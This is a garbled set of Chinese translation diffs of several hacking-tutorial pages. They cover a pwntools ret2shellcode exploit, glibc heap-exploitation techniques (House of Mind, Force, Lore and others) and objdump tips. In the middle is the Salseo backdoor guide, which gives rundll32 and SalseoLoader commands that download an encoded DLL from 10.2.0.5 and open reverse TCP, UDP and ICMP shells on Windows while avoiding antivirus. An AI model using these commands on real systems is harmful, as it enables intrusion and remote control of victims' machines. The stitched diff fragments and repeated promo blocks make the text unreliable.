-### 使用 Pwntools 编写的 Python 攻击
+### 使用 Pwntools 的 Python 漏洞
-以下是如何使用 **pwntools** 在 Python 中编写攻击以执行 **ret2shellcode** 攻击：
+以下是如何使用 **pwntools** 在 Python 中编写一个 **ret2shellcode** 攻击的漏洞：
```python
from pwn import *
@@ -78,38 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
-这个脚本构建了一个由**NOP滑动**、**shellcode**组成的有效载荷，然后用指向NOP滑动的地址覆盖**EIP**，确保shellcode被执行。
+这个脚本构造了一个有效载荷，由**NOP滑块**、**shellcode**组成，然后用指向NOP滑块的地址覆盖**EIP**，确保shellcode被执行。
-**NOP滑动**(`asm('nop')`)用于增加执行进入我们的shellcode的机会，无论确切地址如何。调整`p32()`参数为缓冲区起始地址加上一个偏移量，以落入NOP滑动中。
+**NOP滑块**（`asm('nop')`）用于增加执行“滑入”我们的shellcode的机会，而不管确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量，以便落入NOP滑块。
## 保护措施
-* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **应该被禁用**，以确保地址在不同执行中可靠，否则函数存储的地址不会始终相同，你需要一些泄漏来找出win函数加载的位置。
-* [**栈保护**](../../common-binary-protections-and-bypasses/stack-canaries/)也应该被禁用，否则受损的EIP返回地址将不会被跟随。
-* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护会阻止在栈内执行shellcode，因为该区域不可执行。
+* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **应该被禁用**，以确保地址在执行之间是可靠的，否则存储函数的地址不会总是相同，你需要一些泄漏来找出win函数加载的位置。
+* [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/)也应该被禁用，否则被破坏的EIP返回地址将永远不会被跟随。
+* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护将阻止在栈内执行shellcode，因为该区域将不可执行。
-## 其他示例和参考资料
+## 其他示例与参考
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
-* 64位，带有栈地址泄漏的ASLR，编写shellcode并跳转至其
+* 64位，ASLR与栈地址泄漏，写入shellcode并跳转到它
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
-* 32位，带有栈泄漏的ASLR，编写shellcode并跳转至其
+* 32位，ASLR与栈泄漏，写入shellcode并跳转到它
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
-* 32位，带有栈泄漏的ASLR，比较以防止调用exit()，用值覆盖变量并编写shellcode并跳转至其
+* 32位，ASLR与栈泄漏，比较以防止调用exit()，用一个值覆盖变量并写入shellcode并跳转到它
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-* arm64，无ASLR，ROP gadget使栈可执行并跳转至栈中的shellcode
+* arm64，无ASLR，ROP小工具使栈可执行并跳转到栈中的shellcode
+
+{% hint style="success" %}
+学习与实践AWS黑客技术：[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
Properties"**)
+(\*\*如果找不到此选项，请按 **“项目选项卡”** 然后在 **“\<项目名称> 属性”** 中)
.png>)
-然后，构建这两个项目（Build -> Build Solution）（在日志中将显示可执行文件的路径）：
+然后，构建这两个项目（生成 -> 生成解决方案）（在日志中将出现可执行文件的路径）：
.png>)
## 准备后门
-首先，您需要对 **EvilSalsa.dll** 进行编码。您可以使用 python 脚本 **encrypterassembly.py** 或编译项目 **EncrypterAssembly**：
+首先，您需要对 **EvilSalsa.dll** 进行编码。为此，您可以使用 python 脚本 **encrypterassembly.py** 或编译项目 **EncrypterAssembly**：
### **Python**
```
python EncrypterAssembly/encrypterassembly.py
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
-### Windows
-
### Windows
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
-现在你已经拥有执行所有Salseo操作所需的一切：**编码的EvilDalsa.dll**和**SalseoLoader的二进制文件。**
+好的，现在你拥有执行所有 Salseo 操作所需的一切：**编码的 EvilDalsa.dll** 和 **SalseoLoader 的二进制文件**。
-**将SalseoLoader.exe二进制文件上传到机器上。它们不应该被任何杀毒软件检测到...**
+**将 SalseoLoader.exe 二进制文件上传到机器上。它们不应该被任何 AV 检测到...**
## **执行后门**
-### **获取TCP反向shell（通过HTTP下载编码的dll）**
+### **获取 TCP 反向 shell（通过 HTTP 下载编码的 dll）**
-记得启动一个nc作为反向shell监听器，以及一个HTTP服务器来提供编码的evilsalsa。
+记得启动 nc 作为反向 shell 监听器，并启动一个 HTTP 服务器来提供编码的 evilsalsa。
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
-### **获取UDP反向shell（通过SMB下载编码的dll）**
+### **获取UDP反向Shell（通过SMB下载编码的dll）**
-记得启动一个nc作为反向shell监听器，并启动一个SMB服务器来提供编码的evilsalsa（impacket-smbserver）。
+记得启动nc作为反向Shell监听器，并启动SMB服务器以提供编码的evilsalsa（impacket-smbserver）。
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
-### **获取 ICMP 反向 shell（编码的 dll 已经在受害者内部）**
+### **获取 ICMP 反向 shell（受害者内部已编码的 dll）**
-**这次你需要在客户端上使用一个特殊工具来接收反向 shell。下载：** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
+**这次你需要一个特殊的工具在客户端接收反向 shell。下载：** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **禁用 ICMP 回复：**
```
@@ -83,29 +82,29 @@ python icmpsh_m.py "" ""
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
-## 编译 SalseoLoader 作为导出主函数的 DLL
+## 编译 SalseoLoader 为 DLL 导出主函数
使用 Visual Studio 打开 SalseoLoader 项目。
-### 在主函数之前添加：\[DllExport]
+### 在主函数之前添加: \[DllExport]
.png>)
-### 为该项目安装 DllExport
+### 为此项目安装 DllExport
#### **工具** --> **NuGet 包管理器** --> **管理解决方案的 NuGet 包...**
.png>)
-#### **搜索 DllExport 包（使用浏览选项卡），然后按安装（并接受弹出窗口）**
+#### **搜索 DllExport 包（使用浏览选项卡），并按安装（并接受弹出窗口）**
.png>)
-在项目文件夹中会出现文件：**DllExport.bat** 和 **DllExport\_Configure.bat**
+在你的项目文件夹中出现了文件: **DllExport.bat** 和 **DllExport\_Configure.bat**
### **卸载 DllExport**
-点击 **卸载**（是的，这很奇怪，但相信我，这是必要的）
+按 **卸载**（是的，这很奇怪，但相信我，这是必要的）
.png>)
@@ -115,13 +114,13 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
然后，转到你的 **SalseoLoader 文件夹** 并 **执行 DllExport\_Configure.bat**
-选择 **x64**（如果你将在 x64 系统中使用它，这是我的情况），选择 **System.Runtime.InteropServices**（在 **DllExport 的命名空间** 中）并点击 **应用**
+选择 **x64**（如果你打算在 x64 环境中使用，这是我的情况），选择 **System.Runtime.InteropServices**（在 **DllExport 的命名空间中**）并按 **应用**
.png>)
### **再次使用 Visual Studio 打开项目**
-**\[DllExport]** 不应再被标记为错误
+**\[DllExport]** 不应再标记为错误
.png>)
@@ -135,21 +134,21 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
.png>)
-要 **构建** 解决方案：构建 --> 构建解决方案（在输出控制台中将显示新 DLL 的路径）
+要 **构建** 解决方案: 构建 --> 构建解决方案（在输出控制台中将出现新 DLL 的路径）
### 测试生成的 Dll
-将 Dll 复制粘贴到想要测试的位置。
+将 Dll 复制并粘贴到你想测试的位置。
-执行：
+执行:
```
rundll32.exe SalseoLoader.dll,main
```
-如果没有出现错误，那么你可能有一个功能正常的 DLL！！
+如果没有错误出现，您可能有一个功能正常的 DLL！！
## 使用 DLL 获取 shell
-不要忘记使用 **HTTP** **服务器** 并设置一个 **nc** **监听器**
+不要忘记使用 **HTTP** **服务器** 并设置 **nc** **监听器**
### Powershell
```
@@ -161,8 +160,6 @@ $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
-
-### 命令提示符
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@@ -171,16 +168,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
.png)
.png)
 (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1) (1).png)
返回指向块开头的指针（mem-8）
+p = mem2chunk(mem); —> 返回指向块开始的地址（mem-8）
…
-ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
+ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
…
-_int_free(ar_ptr, mem);
+\_int\_free(ar\_ptr, mem);
}
-在\[1]中检查size字段的NON_MAIN_ARENA位，可以更改以使检查返回true并执行heap_for_ptr()，该函数对“mem”进行与操作，将最不重要的2.5字节设置为0（在我们的情况下，从0x0804a000到0x08000000），然后访问0x08000000->ar_ptr（就像是一个heap_info结构体）
+在\[1]中检查size字段的NON\_MAIN\_ARENA位，可以更改以使检查返回true并执行heap\_for\_ptr()，该函数对“mem”进行与运算，将2.5个最低有效字节置为0（在我们的例子中，从0x0804a000变为0x08000000），并访问0x08000000->ar\_ptr（就像是一个struct heap\_info）。
-因此，如果我们可以控制一个块，例如在0x0804a000处，并且将在**0x081002a0**处释放一个块，我们可以到达0x08100000地址并写入任何内容，例如**0x0804a000**。当释放第二块时，heap_for_ptr(ptr)->ar_ptr将返回我们在0x08100000处写入的内容（因为它应用于之前看到的and操作，从那里提取前4个字节的值，ar_ptr）
+通过这种方式，如果我们可以控制一个块，例如在0x0804a000，并且要释放一个块在**0x081002a0**，我们可以到达地址0x08100000并写入我们想要的内容，例如**0x0804a000**。当第二个块被释放时，将发现heap\_for\_ptr(ptr)->ar\_ptr返回我们在0x08100000中写入的内容（因为对0x081002a0应用了之前看到的与运算，从中提取前4个字节，ar\_ptr）。
-因此，调用_int_free(ar_ptr, mem)，即**_int_free(0x0804a000, 0x081002a0)**\
-**_int_free(mstate av, Void_t* mem){**\
+通过这种方式调用\_int\_free(ar\_ptr, mem)，即**\_int\_free(0x0804a000, 0x081002a0)**\
+**\_int\_free(mstate av, Void\_t\* mem){**\
…\
-bck = unsorted_chunks(av);\
+bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
@@ -367,35 +360,36 @@ fwd->bk = p;
..}
-如前所述，我们可以控制av的值，因为它是我们在将要释放的块中写入的内容。
+正如我们之前看到的，我们可以控制av的值，因为它是我们在要释放的块中写入的内容。
-正如unsorted_chunks所定义的那样，我们知道：\
-bck = &av->bins[2]-8;\
-fwd = bck->fd = *(av->bins[2]);\
-fwd->bk = *(av->bins[2] + 12) = p;
+根据unsorted\_chunks的定义，我们知道：\
+bck = \&av->bins\[2]-8;\
+fwd = bck->fd = \*(av->bins\[2]);\
+fwd->bk = \*(av->bins\[2] + 12) = p;
-因此，如果在av->bins[2]中写入__DTOR_END__-12的值，最后一条指令将在__DTOR_END__中写入第二块的地址。
+因此，如果在av->bins\[2]中写入\_\_DTOR\_END\_\_-12的值，在最后一条指令中将写入\_\_DTOR\_END\_\_的地址。
-也就是说，在第一块中，我们需要在开头多次写入__DTOR_END__-12的地址，因为av->bins[2]将从那里获取值。
+也就是说，在第一个块的开头，我们必须多次放入\_\_DTOR\_END\_\_-12的地址，因为av->bins\[2]将从那里获取。
-在第二块地址的最后5个零的位置，我们需要写入第一块的地址，以便heap_for_ptr()认为ar_ptr位于第一块的开头，并从那里获取av->bins[2]的值。
-在第二部分中，借助第一部分，我们用jump 0x0c覆盖了prev\_size，并用某个值激活了size -> NON\_MAIN\_ARENA。
+在第二个块的地址中，最后5个零的地址中必须写入指向第一个块的地址，以便heap\_for\_ptr()认为ar\_ptr位于第一个块的开头，并从中提取av->bins\[2]。
-接着，在第二部分中放入大量的nops，最后加入shellcode。
+在第二个块中，借助第一个块，我们将prev\_size覆盖为一个跳转0x0c，并将size设置为某个值以激活-> NON\_MAIN\_ARENA。
-这样就会调用 \_int\_free(TROZO1, TROZO2)，并按照指令将TROZO2的prev\_size地址写入\_\_DTOR\_END\_\_，从而跳转到shellcode。
+接下来，在块2中放入一堆nops，最后是shellcode。
-要应用这种技术，需要满足一些额外要求，使payload变得更加复杂。
+通过这种方式，将调用\_int\_free(TROZO1, TROZO2)并遵循指令，将prev\_size的地址写入\_\_DTOR\_END\_\_，该地址将跳转到shellcode。
-这种技术已不再适用，因为几乎应用了与unlink相同的补丁。新指向的位置是否也指向它自己进行比较。
+要应用此技术，还需要满足一些额外的要求，这使得负载更加复杂。
+
+此技术不再适用，因为对unlink应用了几乎相同的补丁。比较新指向的地址是否也指向它自己。
**Fastbin**
-这是The house of mind的一个变种。
+这是心灵之屋的一个变体。
-我们希望执行以下代码，通过\_int\_free()函数的第一个检查后到达：
+我们希望执行以下代码，该代码在\_int\_free()函数的第一次检查后执行。
-fb = &(av->fastbins\[fastbin\_index(size)] —> 其中fastbin\_index(sz) —> (sz >> 3) - 2
+fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
…
@@ -403,61 +397,61 @@ p->fd = \*fb
\*fb = p
-这样，如果将“fb”设置为GOT中某个函数的地址，然后在该地址中放入被覆盖的地址。为此，需要确保arena接近dtors的地址。具体来说，av->max\_fast应该是我们要覆盖的地址。
+通过这种方式，如果在“fb”中放入指向GOT中某个函数的地址，则在该地址中将放入被覆盖的块的地址。为此，arena必须接近dtors的地址。更确切地说，av->max\_fast必须在我们要覆盖的地址。
-由于The House of Mind中我们发现我们控制了av的位置。
+由于在心灵之屋中，我们看到我们控制了av的位置。
-因此，如果在size字段中放入一个值为8 + NON\_MAIN\_ARENA + PREV\_INUSE的大小 -> fastbin\_index()将返回fastbins\[-1]，它将指向av->max\_fast。
+因此，如果在size字段中放入8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index()将返回fastbins\[-1]，这将指向av->max\_fast。
-在这种情况下，av->max\_fast将被覆盖（而不是指向的地址，而是被覆盖的位置）。
+在这种情况下，av->max\_fast将是要被覆盖的地址（而不是指向的地址，而是该位置将被覆盖）。
-此外，释放的相邻块的大小必须大于8 -> 因为我们已经说过释放块的大小为8，在这个虚假块中，我们只需要放入一个大于8的大小（由于shellcode将放在释放的块中，因此需要在虚假块的size字段之后放入一个跳转到nops的jmp指令）。
+此外，必须满足释放的相邻块的大小大于8 -> 由于我们说释放的块的大小为8，因此在这个伪造的块中只需放入一个大于8的大小（由于shellcode将放在释放的块中，因此在开头需要放入一个跳转，以便落入nops中）。
-此外，这个虚假块的大小必须小于av->system\_mem。av->system\_mem比这个地址高1848字节。
+此外，该伪造块必须小于av->system\_mem。av->system\_mem位于更高1848字节的位置。
-由于\_DTOR\_END\_中的空值和GOT中的地址很少，这些部分的任何地址都不适合被覆盖，因此让我们看看如何应用fastbin来攻击堆栈。
+由于\_DTOR\_END\_的零和GOT中的少量地址，这些部分中的任何地址都不适合被覆盖，因此让我们看看如何应用fastbin来攻击堆栈。
另一种攻击方式是将**av**重定向到堆栈。
-如果将size修改为16而不是8，则fastbin\_index()将返回fastbins\[0]，我们可以利用这一点来覆盖堆栈。
+如果我们将size修改为16而不是8，则：fastbin\_index()将返回fastbins\[0]，我们可以利用这一点来覆盖堆栈。
-为此，堆栈中不应该有任何canary或奇怪的值，实际上我们必须处于这种情况：4个空字节 + EBP + RET
+为此，堆栈中不能有任何canary或奇怪的值，实际上我们必须处于：4个零字节 + EBP + RET
-需要这4个空字节是因为**av**将指向这个地址，而**av**的第一个元素是mutex，必须为0。
+这4个零字节需要**av**位于该地址，并且**av**的第一个元素是必须为0的互斥体。
-**av->max\_fast**将是EBP，并且将是一个值，可用于绕过限制。
+**av->max\_fast**将是EBP，并且将是一个值，帮助我们跳过限制。
-**av->fastbins\[0]**将被覆盖为**p**的地址，并且将成为RET，从而跳转到shellcode。
+在**av->fastbins\[0]**中将被覆盖为**p**的地址，并将是RET，这样将跳转到shellcode。
-此外，在**av->system\_mem**（比堆栈位置高1484字节）将有足够的垃圾，可帮助我们绕过检查。
+此外，在**av->system\_mem**（在堆栈位置上方1484字节）将有足够的垃圾，允许我们跳过进行的检查。
-此外，释放的相邻块的大小必须大于8 -> 因为我们已经说过释放块的大小为16，在这个虚假块中，我们只需要放入一个大于8的大小（由于shellcode将放在释放的块中，因此需要在虚假块的size字段之后放入一个跳转到nops的jmp指令）。
+此外，必须满足释放的相邻块的大小大于8 -> 由于我们说释放的块的大小为16，因此在这个伪造块中只需放入一个大于8的大小（由于shellcode将放在释放的块中，因此在开头需要放入一个跳转，以便落入nops中，这些nops位于新伪造块的size字段之后）。
-**The House of Spirit**
+**精神之屋**
-在这种情况下，我们希望有一个指向malloc的指针，可以被攻击者修改（例如，指针位于堆栈上，可能在变量溢出下面）。
+在这种情况下，我们希望拥有一个可以被攻击者修改的malloc指针（例如，指针位于可能溢出的变量下方的堆栈中）。
-因此，我们可以使这个指针指向任何地方。然而，并非所有位置都是有效的，虚假块的大小必须小于av->max\_fast，并且更具体地等于未来malloc()调用请求的大小加8。因此，如果我们知道在这个脆弱指针之后会调用malloc(40)，那么虚假块的大小必须等于48。
+这样，我们可以使该指针指向任何地方。然而，并非所有位置都是有效的，伪造块的大小必须小于av->max\_fast，更具体地说，必须等于未来malloc()调用中请求的大小+8。因此，如果我们知道在此可变指针后会调用malloc(40)，则伪造块的大小必须等于48。
-例如，如果程序要求用户输入一个数字，我们可以输入48，并将可修改的malloc指针指向接下来的4个字节（可能属于EBP，这样48就会留在后面，就像是size头部一样）。此外，ptr-4+48的地址必须满足几个条件（在这种情况下ptr=EBP），即 8 < ptr-4+48 < av->system\_mem。
+例如，如果程序询问用户一个数字，我们可以输入48并将可修改的malloc指针指向接下来的4个字节（这些字节可能幸运地属于EBP，因此48位于后面，就像是头部size）。此外，地址ptr-4+48必须满足多个条件（在这种情况下ptr=EBP），即8 < ptr-4+48 < av->system\_mem。
-如果这些条件满足，当调用我们说过的下一个malloc，即malloc(40)时，它将把EBP的地址分配为地址。如果攻击者还可以控制写入这个malloc的内容，可以覆盖EBP和EIP的地址为任意地址。
+如果满足这些条件，当调用我们之前提到的malloc(40)时，将分配EBP的地址。如果攻击者还可以控制写入此malloc的内容，则可以将EBP和EIP覆盖为所需的地址。
-我认为这是因为这样当调用free()时，它会保存指向堆栈EBP的地址，指示堆栈中有一个完美大小的新malloc()块，因此将分配该地址。
+我认为这是因为当free()释放时，它将记录在指向堆栈的EBP的地址中有一个完美大小的新malloc()要保留，因此将分配该地址。
-**The House of Force**
+**力量之屋**
需要：
-* 溢出到一个允许覆盖wilderness的块
-* 使用用户定义大小调用malloc()
-* 调用malloc()的数据可以由用户定义
+* 溢出一个允许覆盖wilderness的块
+* 一次malloc()调用，大小由用户定义
+* 一次malloc()调用，其数据可以由用户定义
-首先，将wilderness块的大小覆盖为一个非常大的值（0xffffffff），这样任何足够大的内存请求都将在\_int\_malloc()中处理，而无需扩展堆。
+首先，覆盖wilderness块的size为一个非常大的值（0xffffffff），因此任何足够大的内存请求将在\_int\_malloc()中处理，而无需扩展堆。
-其次，修改av->top，使其指向攻击者控制的内存区域，如堆栈。在av->top中，将放置\&EIP - 8。
+其次，修改av->top以指向攻击者控制的内存区域，例如堆栈。在av->top中放置\&EIP - 8。
-我们必须覆盖av->top，使其指向攻击者控制的内存区域：
+我们必须覆盖av->top以指向攻击者控制的内存区域：
victim = av->top;
@@ -465,62 +459,78 @@ remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
-Victim获取当前wilderness块的地址（当前av->top），remainder正好是该地址加上malloc()请求的字节数。因此，如果\&EIP-8在0xbffff224，av->top包含0x080c2788，则为了使av->top指向$EIP-8以供下一个malloc()使用，我们需要在受控malloc中保留的字节数为：
+Victim获取当前wilderness块的地址（当前的av->top），而remainder正好是该地址加上malloc()请求的字节数。因此，如果\&EIP-8在0xbffff224，av->top包含0x080c2788，则我们在受控malloc中请求的数量以使av->top指向$EIP-8的下一个malloc()将是：
0xbffff224 - 0x080c2788 = 3086207644。
-这样就保存了修改后的av->top值，下一个malloc将指向EIP，并且可以被覆盖。
+因此，av->top将保存修改后的值，下一个malloc将指向EIP并能够覆盖它。
-重要的是新wilderness块的大小要大于最后一个malloc()请求的大小。也就是说，如果wilderness指向\&EIP-8，那么大小将正好在堆栈的EBP字段上。
+重要的是，新的wilderness块的size必须大于最后一次malloc()请求的大小。也就是说，如果wilderness指向\&EIP-8，则size将正好位于堆栈的EBP字段中。
-**The House of Lore**
+**传说之屋**
-**SmallBin Corruption**
+**SmallBin腐败**
-释放的块根据大小放入不同的bin中。但在放入之前，它们会被保存在unsorted bins中。释放块不会立即放入其bin中，而是留在unsorted bins中。然后，如果分配新块并且先前释放的块可以满足需求，则将其返回，但如果分配更大的块，则将unsorted bins中的释放块放入适当的bin中。
+释放的块根据其大小插入bin。但在插入之前，它们会保存在未排序的bins中。释放的块不会立即放入其bin，而是停留在未排序的bins中。接下来，如果请求一个新块并且之前释放的块可以使用，则将返回该块，但如果请求更大的块，则释放的块将放入其适当的bin中。
-要达到易受攻击的代码，内存请求必须大于av->max\_fast（通常为72），但小于MIN\_LARGE\_SIZE（512）。
-如果在bin中有一个大小适当的块，则在解绑定后返回该块：
+要达到易受攻击的代码，内存请求必须大于av->max\_fast（通常为72）且小于MIN\_LARGE\_SIZE（512）。
-bck = victim->bk; 指向前一个块，这是我们唯一可以更改的信息。
+如果在bin中有一个适合请求的块，则在解除链接后返回该块：
-bin->bk = bck; 倒数第二块变为最后一块，如果bck指向堆栈中的下一个已分配块，则将其地址分配给此块
+bck = victim->bk; 指向前一个块，这是我们可以更改的唯一信息。
-bck->fd = bin; 通过使其指向bin来关闭列表
+bin->bk = bck; 倒数第二个块变为最后一个块，如果bck指向堆栈，则下一个请求的块将获得此地址。
+
+bck->fd = bin; 关闭列表，使其指向bin。
需要：
-- 预留两个malloc，以便在第二个malloc被释放并放入其bin后，可以对第一个malloc进行溢出（即在溢出之前已经分配了一个更大的malloc）
+请求两个malloc，以便在第一个malloc释放后可以溢出第二个malloc（即在溢出之前请求一个大于第二个块的malloc）。
-- 攻击者需要控制被攻击者选择的地址的malloc分配
+请求的malloc的地址由攻击者控制。
-目标是：如果我们可以对具有下方已释放块并在其bin中的堆进行溢出，我们可以更改其bk指针。如果我们更改其bk指针，并且此块成为bin列表的第一个块并被分配，则bin将被欺骗，并告诉其列表的最后一个块（即下一个要提供的块）位于我们设置的虚假地址（例如堆栈或GOT）。因此，如果再次分配另一个块并且攻击者对其具有权限，则将在所需位置给出一个块，并且可以在其中写入。
+目标如下，如果我们可以对一个堆进行溢出，而其下方有一个已经释放并在其bin中的块，我们可以更改其bk指针。如果我们更改其bk指针，并且该块成为bin列表的第一个块并被请求，则将欺骗bin，使其认为列表的最后一个块（下一个提供的块）位于我们放置的虚假地址（例如堆栈或GOT）。因此，如果再次请求另一个块，并且攻击者在其中具有权限，则将提供一个块在所需位置，并且可以在其中写入。
-释放修改后的块后，需要预留一个比释放的块更大的块，这样修改后的块将离开未排序的bin并将其放入其bin中。
+在释放修改后的块后，必须请求一个大于释放的块，这样修改后的块将从未排序的bins中移出并放入其bin中。
-一旦在其bin中，就是修改其bk指针的时候通过溢出。这样，bin必须等待调用足够多次malloc()，以便再次使用修改后的bin并欺骗bin，使其相信下一个块位于虚假地址。然后将提供我们感兴趣的块。
+一旦在其bin中，是时候通过溢出修改其bk指针，使其指向我们想要覆盖的地址。
-为了尽快执行漏洞，理想情况是：预留易受攻击的块，预留将被修改的块，释放此块，预留比将被修改的块更大的块，修改块（漏洞），预留与受攻击块相同大小的块，并预留第二个相同大小的块，这将指向所选地址。
+因此，bin将等待足够多的malloc()调用，以便重新使用修改后的bin并欺骗bin，使其认为下一个块位于虚假地址。接下来，将提供我们感兴趣的块。
-为了保护此攻击，使用了典型的检查“不”是虚假块的方法：检查bck->fd是否指向victim。也就是说，在我们的情况下，如果堆栈中指向虚假块的fd指针指向victim。为了绕过此保护，攻击者应该能够以某种方式（可能通过堆栈）在适当的地址上写入victim的地址。这样看起来就像是一个真实的块。
+为了尽快执行漏洞，理想情况下应为：请求易受攻击的块，请求将被修改的块，释放该块，请求一个大于将被修改的块，修改该块（漏洞），请求一个与被修改的块相同大小的块，并请求第二个相同大小的块，这将指向所选地址。
-**Corrupción LargeBin**
+为了保护此攻击，使用了典型的检查，以确保块“不是”伪造的：检查bck->fd是否指向victim。也就是说，在我们的情况下，伪造块的fd*指针是否指向victim。为了绕过此保护，攻击者应能够以某种方式（可能通过堆栈）在适当的地址写入victim的地址。这样看起来就像是一个真实的块。
-需要与之前相同的要求以及更多要求，此外，预留的块大小必须大于512。
+**LargeBin腐败**
-攻击与前一个攻击类似，即需要修改bk指针并需要所有这些malloc()调用，但还需要修改修改后的块的大小，使得size - nb < MINSIZE。
+需要与之前相同的要求以及更多要求，此外，分配的块必须大于512。
-例如，将size设置为1552，使得1552 - 1544 = 8 < MINSIZE（减法不能为负，因为unsigned进行比较）
+攻击与之前相同，即必须修改bk指针，并且需要所有这些malloc()调用，但还必须修改修改块的size，以使该size - nb < MINSIZE。
-此外，已经引入了一个补丁，使其更加复杂。
+例如，将size设置为1552，以使1552 - 1544 = 8 < MINSIZE（减法不能为负，因为比较的是无符号数）。
-**Heap Spraying**
+此外，已引入补丁以使其更加复杂。
-基本上是为堆中尽可能多地预留内存，并用以shellcode结尾的nop填充这些内存。此外，将0x0c用作填充。因此，将尝试跳转到地址0x0c0c0c0c，因此，如果覆盖了将要调用的任何地址，则将跳转到那里。基本上，策略是尽可能多地预留内存，以查看是否覆盖了任何指针，并跳转到0x0c0c0c0c，希望那里有nop。
+**堆喷涂**
-**Heap Feng Shui**
+基本上是请求尽可能多的堆内存，并用以nops结尾的shellcode填充这些内存。此外，作为填充使用0x0c。因为将尝试跳转到地址0x0c0c0c0c，因此如果覆盖了将要调用的某个地址，则将跳转到那里。基本上，策略是请求尽可能多的内存，以查看是否覆盖了某个指针并跳转到0x0c0c0c0c，期待那里有nops。
-通过预留和释放来巩固内存，使得在空闲块之间留下已预留的块。要溢出的缓冲区将位于其中一个块中。
+**堆风水**
+
+通过请求和释放的方式，安排内存，使得在空闲块之间保留已分配的块。要溢出的缓冲区将位于其中一个“蛋”中。
+
+**objdump -d 可执行文件** —> 反汇编函数\
+**objdump -d ./PROGRAMA | grep FUNCION** —> 获取函数地址\
+**objdump -d -Mintel ./shellcodeout** —> 查看是否确实是我们的shellcode并提取操作码\
+**objdump -t ./exec | grep varBss** —> 符号表，以提取变量和函数的地址\
+**objdump -TR ./exec | grep exit(func lib)** —> 提取库函数的地址（GOT）\
+**objdump -d ./exec | grep funcCode**\
+**objdump -s -j .dtors /exec**\
+**objdump -s -j .got ./exec**\
+**objdump -t --dynamic-relo ./exec | grep puts** —> 提取要在GOT中覆盖的puts地址\
+**objdump -D ./exec** —> 反汇编所有内容直到plt条目\
